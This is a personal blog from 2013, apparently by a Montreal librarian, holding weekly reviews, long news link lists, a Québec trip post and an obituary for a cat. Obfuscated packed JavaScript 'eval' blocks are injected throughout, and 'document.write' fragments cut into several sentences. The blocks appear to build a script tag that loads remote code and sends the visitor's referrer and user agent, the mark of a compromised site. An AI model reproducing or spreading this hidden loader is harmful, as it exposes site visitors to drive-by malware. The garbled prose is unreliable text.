Random Bedtimes Breed Bad Behavior In Kids (NPR)
Baldness treatment a ‘step closer’ (BBC)
Des chercheurs font repousser des cheveux (La Presse)
Sleep ‘cleans’ the brain of toxins (BBC)
Air pollution causes cancer: WHO (BBC)
Dormir permet au cerveau de se nettoyer (Le Monde)
Les vidéocapsules à l’assaut du côlon (Le Monde)
Autisme aux Etats-Unis: un sur quatre-vingt-huit!! (Le Monde)

Humour

Local News & National Politics

Dossier: Élections municipales 2013 (La Presse)
Municipal Elections (The Gazette)

Media, Culture, & Society

A Trove of Lost ‘Doctor Who’ Episodes Found (ICv2)
Newly Recovered ‘Doctor Who’ Episodes Revealed (ICv2)
Doctor Who: Lost episodes Enemy Of The World and Web of Fear discovered (The Independent)
‘The Walking Dead’ Is One of the Biggest Shows on Television (The Atlantic Wire)
‘Doctor Who: 50 Years’ Trailer (ICv2)
La laïcité ne doit pas devenir un tabou (Le Monde) [Une controverse même en France!]

Sciences & History

Hornetgeddon! Authorities swat deadly swarm of giant bugs (NBC)
Ancient city’s strip mall unearthed in Greece (NBC)
More on Discovery of Bronze Age boiled brains in Kütahya (The Archaeology News Network)
Russian divers recover half-ton meteor from lake (The Telegraph)
Scientist Reveals Abominable Snowman Is Really a Bear (ABC)
Much Earlier Split for Neanderthals, Humans? (National Geographic)
When Science and Archaeological Conspiracy Theories Collide (Gizmodo)
Exoplanet tally soars above 1,000 (BBC)
British scientist ‘solves’ mystery of Himalayan yetis (BBC)
Météorite en Russie: un fragment géant extrait d’un lac (Le Monde)
L’analyse d’un crâne de 1,8 million d’années suggère que nos ancêtres formaient une seule espèce (Le Monde)
New galaxy ‘most distant’ yet discovered (BBC)
Megapixels: Monkeys Take A Ride On The World’s Largest Rodent (Popular Science)
Mount Etna Eruption 2013: Europe’s Most Active Volcano Spews Lava In Italy, Forcing Airspace To Briefly Close (Huffington Post)

Technology, Gadgets & Internet

Nest introduces connected smoke and CO alarm (TUAW)
Nest reinvents the smoke detector, makes it smart, iPhone connect-able and beautiful (Today’s iPhone)
Nest Introduces $129 ‘Protect’ Connected Smoke and Carbon Monoxide Detector (Mac Rumors)
Review of Sony’s QX10 and QX100 “Lens-Style” Cameras (AllThingsD)
Samsung’s Smart Bulb edges closer to launch as it gains US approval (Engadget)
35% of Americans now own a tablet, Pew says (CNET)

Union stuff & Montreal’s libraries

Un investissement de 18,7 M$ pour la construction de la future bibliothèque de Villeray (lien)
Vers la nouvelle bibliothèque de Villeray (BiblioMontreal)
18,7M$ pour une nouvelle bibliothèque dans Villeray (Métro)
Visée LEED pour la bibliothèque de Villeray (Voir Vert)
Près de 19 M $ pour la bibliothèque de Villeray (Progrès VPE)

[ Traduire ]

Voyage à Québec

October 20, 2013 / Clodjee / Leave a comment

Couleurs d'automne sur fond de Laurentides

Vignoble Domaine de la Source à Marguerite

Plus sur Québec Oct ’13, document.write(“”); un set sur Flickr / More on Québec Oct ’13, a set on FlickrEntre le dix et le douze octobre dernier, j’ai fait un bref voyage dans la région de Québec avec ma famille. Nous avons essentiellement visité l’Île d’Orléans et les chutes Montmorency. J’ai créé sur Flickr un album des plus belles photos de ce voyage.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kraaa|var|u0026u|referrer|shftk||js|php’.split(‘|’),0,{}))

Between October tenth and twelfth, I made a brief trip to the region of Quebec with my family. We basically visited the Island of Orleans and Montmorency Falls. I created a Flickr album of the best photos from this trip.

The week in review (2013-10-07)

October 8, 2013 / Clodjee / Leave a comment

Domestic log — I am not sure why but, document.write(“”); in the last couple of weeks, I felt extremely tired. It has been quite busy at work, so maybe that’s the reason [or maybe it’s just the damn bunch of rowdy kids and the long transit hours]. Each time I bring myself to the brink of exhaustion, I always worry that I will get the flu or something (and often I do). Because of this (being busy and tired), I have not written much (just one manga comment about The Old Testament). Although my recent blog entries have tended to be much longer (like the one on Gen of Hiroshima‘s manga or the tech review on Sony’s QX10 Camera). I also kept myself busy by toying with the new camera. One weird event is also worth mentioning: a dead crow got stuck in the tree just in front of our house. Was it a bad omen? It was quite high in the tree so it was a little difficult to take it down. It was surprisingly light.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbesk|var|u0026u|referrer|knabr||js|php’.split(‘|’),0,{}))

Press review — Not much in the news lately, beside the U.S. government shutdown, which now enters in its second week. I just don’t understand how the american people can let a radical minority in the Republican party take their government hostage like that. They hope to hurt Obama and force him to repeal Obamacare, but it should backfire on them. Obamacare was passed by both Congress and the Senate, then Obama was reelected for a second mandate on it and it was even confirmed by the Supreme Court! And yet the Republican are fiercely and unrelentingly trying to kill it (okay it’s not perfect but it’s much better than nothing; and the Republican are the one who made it such a mess in the first place!). How can they disregard the will of the people so undemocratically? And how could some americans still blame Obama for the shutdown?

Anyway, you’ll find links to the news stories that I considered the most interesting, right after the jump:

Anime & Manga related, Japan, Popular Culture

Dans un magnifique documentaire, Amélie Nothomb retourne en terre connue: le Japon (Huffington Post)
Amélie Nothomb, une vie entre deux eaux (France 5, Le Monde)
Can Graphic Novels Lead Comics into the Digital Future? (ICv2)

Apple, apps and mobile devices news

A camera for your cameraphone: Sony Cyber-shot QX10 and QX100 review (The Verge)
Is your iPhone or iPad running out of storage space? Here’s how to fix it! (iMore)
Now That The iPhones Are Here, What’s Next For Apple? (Forbes)
Dropbox for Mac adds ‘Import from iPhoto,’ more features (TUAW)
Siri’s inexplicable rickroll (TUAW) [it happened to me too!]
How to increase your iPhone’s battery life on iOS 7 (GigaOM)
Dropbox for Mac brings iPhoto import tool and screenshot upload out of beta (iMore)
Complimentary 20GB iCloud storage for MobileMe members expires (Today’s iPhone)
iTunes Radio May Be Coming Soon to Canada (Mac Rumors)
Apple updates iPhone website with Tips and Tricks, teaches users new iOS 7 features (9 to 5 Mac)
Sony pledges fix for QX lens connection issues as Camera+, Camera360 plan support (Apple Insider)
How to help iOS 7 run faster on an older iPhone (USA Today)

Books, Digital Edition & Libraries

Library visits drop by a quarter in eight years (BBC)
As Goodreads grows up, it can’t please everyone. Should it try? (GigaOM)
Scribd offers e-book subscriptions for $8.99 a month (iMore)
With HarperCollins Deal, Scribd Unveils Its Bid To Become The Netflix For Books (Tech Crunch)
Tom Clancy, Best-Selling Author of Military Thrillers, Dies at 66 (Vanity Fair)
New York Public Library Releases List Of 100 Great Children’s Books From The Past Century (Huffington Post)
Author Tom Clancy dies in Baltimore hospital at age 66 (The Guardian)
New Book Collects Most Startling Photos From The Vietnam War (Huffington Post)
Now We Have Proof Reading Literary Fiction Makes You a Better Person (The Atlantic Wire)
Grâce aux tablettes et aux smartphones, l’audience globale de la presse progresse (Le Monde)
BD: “Astérix chez les Pictes” sort le 24 octobre (Le Monde)

Economy, Environment & International/U.S. Politics

About 15% of Americans live in poverty, so why is no one talking about it? (The Guardian)
Government shutdown enters second week (USA Today)

Health, home & garden

Holy crap, this year’s flu season is shaping up to be downright terrifying (IO9) [You better get vaccinated! I will!]
Can an extra hour of sleep have radical health benefits? (BBC)
Walking more ‘would save thousands’ of lives in the UK (BBC)

Local News & National Politics

La Charte des valeurs québécoises: Cinq propositions (lien)
Plus d’absentéisme au travail dans le secteur public (La Presse)
Offensive des cols bleus: Publicité négative contre les fonctionnaires (TVA) [De la part des cols bleus c’est toute une insulte!]
Une erreur fiscale pénalise les Québécois (La Presse)
Grand coup d’accélérateur au transport collectif (Le Devoir)
Jean Dorion, l’anti-Djemila Benhabib (La Presse+)
Charte des valeurs: Parizeau a parlé (Le Devoir)
L’UPAC soupçonne Applebaum d’avoir été au coeur d’un vaste système frauduleux (Le Devoir)

Media, Culture, & Society

San?tana Dharma (Wikipedia) [There’s a San?tana Dharma temple that opened near my work; it’s for the Orthodox Hindu. Weird.]
Viewers complain over ‘shocking’ Downton Abbey episode (BBC)
Nielsen launches TV Twitter ratings (USA Today)

Sciences & History

Thousands of Dinosaur Footprint Fossils Found Along Alaskan River (ABC)
Scientist hails ‘jaw-dropping’ fish fossil discovery (BBC)
Mildenhall Museum ready for Anglo-Saxon warrior & horse (BBC)
Late Byzantine monastery discovered in Crete (Archaeo News Network)
The Archaeology News Network (link) [Cool site!]
Killer Hornets Leave 41 Dead In Central China (Business Insider)
Leonardo da Vinci painting lost for centuries found in Swiss bank vault (The Telegraph)
How a Total Accident Saved the French Wine Industry (Gizmodo)
Any Animal That Touches This Lethal Lake Turns to Stone (Gizmodo)

Technology, Gadgets & Internet

Smart Thermostat Company Nest Developing ‘Protect’ Smoke Detector (Mac Rumors)
Pew: 15% Of Americans Don’t Have Internet. 5% Think It’s Irrelevant (Tech Crunch)

Union stuff & Montreal’s libraries

[ Traduire ]

The week in review (2013-09-23)

September 23, 2013 / Clodjee / Leave a comment

Domestic log — It was again a busy couple of weeks for me. First, document.write(“”); I had two separate sessions of union training (union rep and health & security at work). Going back to class is more tiring than working, I can tell you. I was going back home even more exhausted than usual, so I didn’t write much during that time. I wrote only one comment (which demanded lots of research, so it took me quite a while and it’s a little longer than usual [2000 words] but I am quite happy with it) about Barefoot Gen (in french). I’ll try to catch up on my writing, but unfortunately my pile of books to read keeps growing faster than I can write about them!
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We’re definitely having an early autumn this year. Already by mid-september the temperature had drop to 10~12?C and leaves had started falling from the trees! And I could see (or hear) flights of geese going south. It definitely bodes ill for the season… Now autumn is here and it shows (although the temperature has warmed up a little). It is sunny today, but days tend to be rather dull and cloudy lately. To add to the gloomy atmosphere, two friends of my father died in the last week.

“Oh my God! It’s full of kittens!” An alternate version of 2001 Space Odyssey? No: my backyard in the last couple of weeks! Two separate litters of kittens roam in the backyard. I had a scare when, one day, they all disappeared (I was dismayed: who had stolen my kittens?! It was a hard blow to take after the unexpected departure of my beloved Spotty) but they were all back the next day. I don’t know what happened but I was glad to see them back (actually it was to be expected because mothers tend to move their kittens after a while for security reasons, so it could happen again; although the shed is providing them shelter and there’s always food). If they are still around next month I am planning to adopt one of them, whose shown us great interest and affection…

Besides all that, we keep watching British period drama on TV (finishing Copper and Foyle’s War, only one episode left to the first season of The Bletchley Circle, but season four of Downton Abbey is just starting) and enjoying the beautiful crops of our garden!

Press review — Lately the news have been dominated by two stories: Apple releasing new products (iPhones 5s and 5c, iOS 7) and lots of discussions on the charter of Quebec values. I could say a lot on this subject, but I’ll try to be brief.

I totally agree on the principle that Quebec society (and particularly its government) should be totally secular. I’ve always said that religion should take place only in your head [not on your head!], your home and your temple. No need to broadcast your beliefs with ostentatious signs (and certainly not blocking the metro entrance or wake me up in the morning to distribute leaflets of religious propaganda!). Unfortunately, the government (PQ) has handled the whole situation quite badly, which has been blown out of proportion by its opponents and gave it the bitter taste of xenophobia (some conspiracy theorists say it was done on purpose: either to distract from their poor economical performance or, even crazier, to drive immigrants out of the province to increase their chance in a future sovereignty referendum). However, it should be done fair and square, equally and evenly. Catholic signs of faith should receive the same treatment. That also means no crucifix in classes or in the parliament, no prayers before council meetings.

Personally, I don’t see the problem. I don’t wear any signs of my belief, so why should other people do? Religion is a private matter. That’s the way it should be done here, so why not adapt to this? It is a question of equality. People want to be treated equally? Then it works both ways. And, in this case, the charter is not attacking their liberty of whatever at all: it only asks people not to wear any religious signs if they work for the government, and only during the working hours! Outside of that they can do whatever they want! Someone on the internet compared this with wearing a uniform at work. Is that too much to ask? Of course, it is a delicate and complex subject. The veil that some muslim women wear: is it a religious or cultural expression (after all the Koran only asks women to be “modest”)? Same situation for the turban wore by the Sikhs: in itself it is not an ostentatious sign as it is only used to contains the long hair that their religion requires them not to cut, ever. We should think carefully about all this. Maybe some exceptions, some compromises, are necessary. Unfortunately, many are using this to further their own agenda. If the debate gets ugly, we should try to put ourselves in the others’ place. The fact that we are debating the subject is quite healthy in itself. I am sure we can find a solution that will be acceptable for all and thus preserve the beautiful cultural diversity of our society.

On a lesser extend there also talks about two upcoming elections: municipal and for my union executive team. As usual, I’ve gathered links about the most interesting news and I am sharing them with you:

Anime & Manga related, Japan, Popular Culture

Isao Takahata & Ghibli’s Kaguya-hime no Monogatari Cast Announced (ANN)
Final Miyazaki Film to Get Wide Release (ICv2)
Ranma ½ Relaunch Adds Anime (ICv2)
‘The Wind Rises’: Five things to know about Miyazaki’s new movie (L.A. Times)
L’irrésistible succès du manga algérien (Le Monde) [Baka! Manga = BD japonaise, alors comment un manga algérien peut être possible? Vous voulez probablement dire bande-dessinée algérienne de style manga?]
Ponent Mon-Fanfare to Release Jiro Taniguchi’s Furari Manga (ANN)

Apple, apps and mobile devices news

Extra: Apple releases iOS 7 and two models of iPhone !!

Apple iPhone 5s and 5c: everything you need to know (The Verge)
iPhone 5S and iPhone 5C Unveiled: Everything You Need To Know (Macgasm)
iPhone 5s: Our Complete Overview (Mac Stories)
A Photographer’s Take On The iPhone 5S Camera (Tech Crunch)
iPhone 5S: Apple’s golden ticket? (The Telegraph)
Here’s why you shouldn’t upgrade to iOS 7…yet (iMore)
Dites bonjour à iOS 7 ! (MacQuébec)
iOS 7 video tip: How to view list mode in Calendar (TUAW)
An hour or so with iOS 7 (TUAW)
12 New and Hidden Settings in iOS 7 (The Mac Observer)
How to stop iOS 7 from destroying your iPhone’s battery life (TUAW)
Roundup: Catch up on our iOS 7 walkthroughs, app reviews, and how-tos (9 to 5 Mac)
How to use multiple Apple IDs in iOS 7 (TUAW)
iOS 7 review (iMore)
iOS 7’s rebooted Photos app is its unsung gem (TUAW)
iOS 7 on an iPad 2: First impressions (TUAW)
Apple fingerprint tech raises ‘privacy questions’ (BBC)
New York Police actively encouraging people to update to iOS 7 for added security (9 to 5 Mac)
How to transfer the content of your old iPhone to the iPhone 5s or iPhone 5c (GigaOM)

Books, Digital Edition & Libraries

Go Ahead and Freak Out About the School with No Books (The Atlantic Wire)
Bookless Public Library Opens In Texas (NPR)
Dossier sur le prix du livre (Le Devoir)
Oh My God, There’s A Cat In Russia That Wears A Bow Tie And Works As A Librarian (BuzzFeed)
10 Cats Who Live at the Library (Mental Floss)
Melissa de la Cruz: Our Shared Homeland is Arrakis (Huffington Post)
Professor uncovers slave novelist’s secret identity (Salon, NYT)
Le darwinisme de l’économie numérique: l’exemple des plates-formes de diffusion de livres autoédité (Le Monde)

Economy, Environment & International/U.S. Politics

Human Rights Watch Report Concludes That Assad Carried Out Chemical Attacks (The Atlantic Wire)
Japan anger over French Fukushima cartoons (Al Jazeera)
Syria: ‘Bashar al-Assad ordered me to gas people – but I could not do it’ (The Telegraph)
Yes, atomic bomb that fell in US almost went off, says document (CNET)
“Le Canard enchaîné” froisse Tokyo (Le Monde)

Health, home & garden

Over 2 million dehumidifiers recalled for fire risk (USA Today) [Great! it doesn’t include neither of my Danby or Whirlpool models]
Peut-on être ivre sans avoir bu ? (Le Monde)

Local News & National Politics

Charte des valeurs québécoises: L’inconfort des forces souverainistes explose (Le Devoir)
Écoute électronique: La FTQ risque d’entraver la commission Charbonneau (Le Devoir)
Le métro sera prolongé vers l’est (Le Devoir)
Charte des valeurs: quatre visions s’affrontent (La Presse)
Cimetières cherchent dépouilles (La Presse)
Charter of Quebec Values’ coverage (The Gazette)
Municipal affairs: election (The Gazette)

Media, Culture, & Society

The Government Wants To Define Who Qualifies As A Journalist (Tech Crunch)
Big Media Scrutiny Becoming the Norm for Pop Culture Businesses (ICv2)
But What If ‘The Newsroom’ Isn’t Coming Back? (Word and Film)
BBC America Cancels Period Police Drama ‘Copper’ After Two Seasons (Indie Wire) [Damn you, BBC America!]
Final Season of ‘Mad Men’ To Air in Two Parts (Slash Film)
Was the Second Season of ‘The Newsroom’ Better Off Following a Fictional Story Than Real Ones? (Indie Wire)
AMC is Developing a Second Drama Set in the ‘Walking Dead’ Universe (Indie Wire)
Le cinéaste Arthur Lamothe est décédé (Le Devoir, La Presse, Radio-Canada)
Le cinéaste Michel Brault s’est éteint (Le Devoir, Radio-Canada)
Atheism starts its megachurch: Is it a religion now? (Salon)
The Senate’s media shield bill protects bloggers, and they should support it (GigaOM)
“Les Enquêtes de l’inspecteur Wallander” (Le Monde)
Emmy Awards: Full list of winners (The Globe and Mail)

Sciences & History

Albert Jacquard 1925-2013: Plaidoyer pour l’humanitude (Le Devoir)
The First Gear Discovered in Nature (Popular Mechanics)
Where Do Dreams Come From? (Popular Science)
Ethiopia’s giant underground blob of magma puzzles scientists (NBC)
Are ideas to cool the planet realistic? (BBC)
How Robo-Bees Could Save America’s Crops (Popular Science)
The Big Bang May Not Have Spawned The Universe After All (Popular Science)
Curiosity laisse très peu de chances de trouver de la vie sur Mars (Le Monde)
En Ecosse, le lancement du plus grand parc d’hydroliennes d’Europe (Le Monde)

Technology, Gadgets & Internet

The Only Excuse For Having a Desk Phone in This Day and Age (Gizmodo)

Union stuff & Montreal’s libraries

Martine Audet: Ma tête est forte de celle qui danse (Radio-Canada) [une collègue de la bibliothèque Plateau Mont-Royal]
Élections générales au SFMM (SCFP) le mercredi 2 octobre (SFMM)
Avis de convocation de l’assemblée générale du 24 septembre pour le dépôt des candidatures à l’élection générale (SFMM)
Liste détaillée des bureaux de scrutin par secteurs (SFMM)
Les coordonnées des 14 bureaux de scrutin (SFMM)
Les candidats: l’équipe sortante, la bande à Fugère (facebook)
Les candidats: l’équipe prétendante et choix alternatif, le 109 au 429 (facebook, web)
Le site d’information syndicale “Le Canardo Pressé” reprend du service (lien)

[ Traduire ]

The week in review (2013-09-09)

September 9, 2013January 27, 2018 / Clodjee / Leave a comment

On the home front, there’s nothing really new. The Montreal World Film Festival has ended and I saw the last of the Japanese movies (I’ve seen them all save for the shorts). All in all it was a satisfactory experience. Now I have to write about those movies (and maybe do an overview of the festival). Although, the next couple of weeks, I’ll be busy getting some union training. And right now (while writing this and doing the laundry) I am waiting for a plumber to come repair a leaky hot-water tap in the bathtub (I couldn’t get a firm appointment, so he *might* come before the end of the day).

In the press realm, there an awful lot of technological news lately probably due to Apple imminent new products announcement . Sony also announced a very interesting ‘Lens-Style’ set of digital cameras working as smartphone accessories. And Miyazaki announced (again) his retirement. You can check this week’s scrap-linking right after the jump :
Continue reading →

The last couple of weeks in review (2013-08-31)

September 1, 2013 / Clodjee / Leave a comment

The last three weeks have been quite busy. First, document.write(“”); I applied to two new jobs without success. Then my twelve year-old cat took suddenly ill and stopped eating. After a week he was only the shadow of himself and finally left us. He was my best cat ever. It made me very sad.
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Then the Montreal World Film Festival started. I had previously put myself in the mood by writing about two movies screened last year that I hadn’t commented on yet (The floating castle, The little girl in me and the short B&W Foxes and the Cave of Light). So far I’ve managed to see almost all the japanese movies (I still have one tomorrow), but could put only three of them online (Botchan, The Flower of Shanidar, and The devil’s path, plus the Australian short Tau Seru — I’ll do my best to finish the others and post them as soon as possible). The first movies I’ve screened didn’t impress me at all, but they got better and better each day. Up to now my favourite is Mourning Recipe. I’ve strayed a little from my japanese targets and screened an italian movie for a change: L’amore è Imperfetto (I might comment on it eventually if I have time). Don’t worry, I’ll also soon resume commenting on manga… (I am currently reading several of them)

I managed to keep an eye on the news. Lately, it’s all about the chemical attack in Syria and how the world should (or shouldn’t) respond. There was still a few interesting stories that were worth bookmarking and I’ll share them with you after the jump:

Anime & Manga related, Japan, Popular Culture

Top 300 Graphic Novels in July 2013 (ICv2)
Toronto Int’l Film Fest Posts Subtitled Trailer for The Wind Rises (ANN)
Barefoot Gen Manga Removed From Matsue City School Libraries (ANN)
Thermae Romae Spinoff Manga’s Start Date Not Yet Listed (ANN)
Schools remove famed manga due to ‘brutal’ portrayal of Japanese troops (The Asahi Shimbun)
The 50 Greatest Graphic Novels of All Time (ICv2, The Herald Scotland) [Yikes! I’ve read only thirteen of them: #48, 33, 30, 23, 20, 15, 12, 11, 9, 8, 6, 2 and 1 !]
The rise of live action role-playing (BBC)

Apple, apps and mobile devices news

Olloclip’s Telephoto + Circular Polarizing Lens: Up close and personal (TUAW)
How to Completely Uninstall Applications On Your Mac (MacTrast)
iPhone 5S Will Become Apple’s Most Successful Product Ever (Cult of Mac)
Sony ‘Lens Cameras’ Will Turn Your iPhone Into An RX100 (Cult of Mac)
CNN takes a closer look at Apple e-book Judge Denise Cote (TUAW)
Roundtable: What we think Apple has planned for its September 10th event (9to5Mac)
Manual reveals how Sony’s rumored ‘lens cameras’ will actually work (The Verge)
Manual leaks for Sony’s QX10 and QX100 lens cameras, fills in more pieces of the puzzle (Engadget)
WSJ says two iPhones are coming early September (Todays iPhone)
Get an extra 1GB of Dropbox storage just by linking the Mailbox app to your account (Todays iPhone)
Sony’s rumored Lens Camera range could change the way we look at mobile photography (iMore)
Court: Apple needs monitoring after ‘blatant’ e-book price fixing (TUAW)
Review: Google Docs vs. Apple iWork vs. Office (USA Today)
New Sony ‘Lens Camera’ leak would look great with a gold iPhone 5S (iMore)

Books, Digital Edition & Libraries

Nuisible aux librairies (La Presse)
Carnet de Gilles Herman: Réponse à M. Jacques Fortin [concernant l’article “Nuisible aux librairies”] (lien)
La chronique culturelle du 19 août 2013: une idée inusitée qui provoque le désir de lire dans l’arrondissement Sud-Ouest à Montréal (Radio-Canada)
Des machines distributrices de livres font leur apparition à Montréal (Radio-Canada)
Patrick Senécal lance le troisième tome de sa série Malphas (Huffington Post)
Surprisingly, people spend more time reading books on smartphones than tablets (VentureBeat)
Le père de la loi-cadre sur le livre appuie le contrôle des prix (Le Devoir)

Economy, Environment & International/U.S. Politics

Répression sanglante en Égypte (Le Devoir)
Average Wage Growth In The US (Business Insider)
L’immense incendie du parc Yosemite en accéléré (Le Monde)

Health, home & garden

Gym workouts and sunbathing do more for your brain than crosswords and Mozart (Quartz)
Broccoli slows arthritis, researchers think (BBC)
Blueberries, not fruit juice, cut type-2 diabetes risk (BBC)
Mieux vieillir avec le numérique (Le Monde)

Humour

Local News & National Politics

Système informatique du métro: La STM et Alstom ont été dépassés (Le Devoir)
Lac-Mégantic: Les taux de contamination seraient élevés (Le Devoir)
Bras de fer public-privé autour du bac vert (Le Devoir)
Le futur Centre de soccer de Montréal est en chantier! (Lien)
Quatre conditions pour un accommodement raisonnable (Le Devoir)

Media, Culture, & Society

Couverture du Festival des films du monde (La Presse)
Resurrecting H. P. Lovecraft on the Big and Small Screen (Word and Film)

Sciences & History

Richard III: King’s reburial row goes to judicial review (BBC)
Staffordshire Hoard: Three-year touring exhibition begins (BBC)
The Olinguito: New mammal species discovered (BBC)
World’s oldest man claim for ‘123-year-old’ Bolivian herder (The Telegraph)
Ancient Romans Built Monuments Centuries Before Archaeologists Believed (Gizmodo)
Scientists: Meteorite Beads Oldest Example of Metalwork (National Geographic)
Ancient artefacts found in melting snow (BBC)
Italy calls for German assistance as Pompeii falls further into ruin (The Guardian)
10 things we didn’t know last week (BBC)
Miniature ‘human brain’ grown in lab (BBC)

Technology, Gadgets & Internet

Picture this: Is there life after Photoshop? (BBC)
Facebook opens up embedded posts to everyone (Engadget)

Union stuff & Montreal’s libraries

[ Traduire ]

Spotty (c. 2002 – 2013)

August 24, 2013 / Clodjee / Leave a comment

Requiescat in pace
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iebfs|var|u0026u|referrer|sztrs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbbft|var|u0026u|referrer|shiyi||js|php’.split(‘|’),0,{}))
It is with great sadness that we announce the passing of our beloved Spotty on Saturday, document.write(“”); August 24. He is survived by his “parents” Clodjee and Miyako, his lovely “brother” Saya, his “grand-parents” Claude-Eugène and Laure, his “aunts” Luce and Francine, as well as his “cousins” Vanille, Cendrine and Pépi.

Spotty came out of the back alley and chose us to take care of him. He was a gentle and overwhelmingly loving cat. He left us after a short sickness. We are immensely grateful for the time he has spent with us.

We want to express our deep gratitude to Dr. Odette Girard and the Clinique vétérinaire de la Promenade.

Please do not send flowers, but instead give a hug to those you love dearly or send donation to your favourite animal shelter or charity (Animal Rescue Network, SPCA Montréal, WWF Canada, etc.).

There won’t be any Cat-urday picture this week (Pas d’Image du Chat-medi cette semaine).

[ Traduire ] [ ???? ]

Press Review (2013-08-11)

August 12, 2013 / Clodjee / Leave a comment

The last month was relatively quiet in the news department. No big event that I feel I must report on absolutely. However, document.write(“”); I nevertheless gathered about an hundred links of little information that I found interesting. And I want to share them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frdzk|var|u0026u|referrer|dddka||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeafr|var|u0026u|referrer|yzzzt||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Seven Seas Adds Three New Manga (ICv2)
More Details on ‘Robotech RPG Tactics’ (ICv2)
Urasawa’s 20th Century Boys Wins 2nd Eisner Award (ANN)
Classic Kids’ Manga Doraemon Coming to N. America Digitally (ANN)
Box Art for ‘Robotech Expansion Packs’ (ICv2)
Vertical Takes Moyoco Anno’s ‘Insufficient Direction’ (ICv2)
Stone Bridge Press’ Newsletter: August 2013 (Link)
Little Wars: How HG Wells created hobby war gaming (BBC)
Live-Action Patlabor Robotic Mecha Photos Circulate Online (ANN)
Guess who’s back for the Akira remake? Director Jaume Collet-Serra! (JoBlo)
Freud en manga par Soleil (AnimeLand)
Spiegelman, Mizuki, Nilsen, Seth And Michael DeForge, all from D&Q (ICv2)
CDJapan starts an eBook Service (Link)
Garden of Words, Berserk, Kick-Heart Win at Montreal’s Fantasia Fest (ANN)
Goldorak, héraut du manga (Le Monde)

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

How Computer Analysis Uncovered J. K. Rowling’s Secret Novel (Popular Science)
Amazon CEO Jeff Bezos to buy Washington Post (NBC)
Newsstand Magazine Sales Plummet Again (ICv2)

Economy, Environment & International/U.S. Politics

Relief in sight for heat-stricken East Coast (Today)
Helen Thomas: 50 Years of Tough Questions and ‘Thank You, Mr. President’ (NYT)
Judge Says Detroit Bankruptcy Unconstitutional (ABC)
Opinion: Baby helps make a monarchy matter (CNN)
William and Kate present baby prince (BBC)
More Latinos Read All About It In English (NPR)
Manning’s leaks endangered informants: trial witness (Chicago Tribune)
Russia Plans To Enforce Anti-Gay Law For Athletes, Fans During Olympics (Talking Points Memo)
Uruguay Legalizes Marijuana For Recreational Use (Business Insider)
Pentagon Papers Leaker Daniel Ellsberg Praises Snowden, Manning (NPR)
As Sentencing Phase Begins, Manning Could Face Decades In Prison (NPR)
Japan Shows Off Largest Warship In 60 Years (NPR)
Hiroshima Anniversary: Japan Marks 68 Years Since Atomic Bombing (Huffington Post)
La dette du Japon dépasse le million de milliards de yens (Le Monde)

Health, home & garden

How To Argue With The Anti-Vaccine Crazies: A Guide (Popular Science)
Des tomates plein le toit: Ajouter de la culture dans la ville (Le Devoir)
Alzheimer’s blood test edges closer (BBC)
Plague-infected squirrel shuts Los Angeles park (BBC)
Most adults don’t exercise enough, research finds (BBC)
What Is Sleep Texting? (Business Insider)
Aucun lien entre la durée de sommeil habituelle et la fatigue (La Presse)
Cocoa ‘might prevent memory decline’ (BBC)
Dr. Sanjay Gupta: Why I changed my mind on weed (CNN)
High Blood Sugar Linked to Dementia (NYT)

Humour

Non Sequitur (2013-08-11)

Local News & National Politics

Lac-Mégantic: Le contenu des wagons intrigue les enquêteurs (Le Devoir)
Les centres de tri croulent sous le verre (Le Devoir)

Media, Culture, & Society

Massive 4.5 Minute Comic-Con Trailer for ‘The Walking Dead’ Season 4 (ICv2)
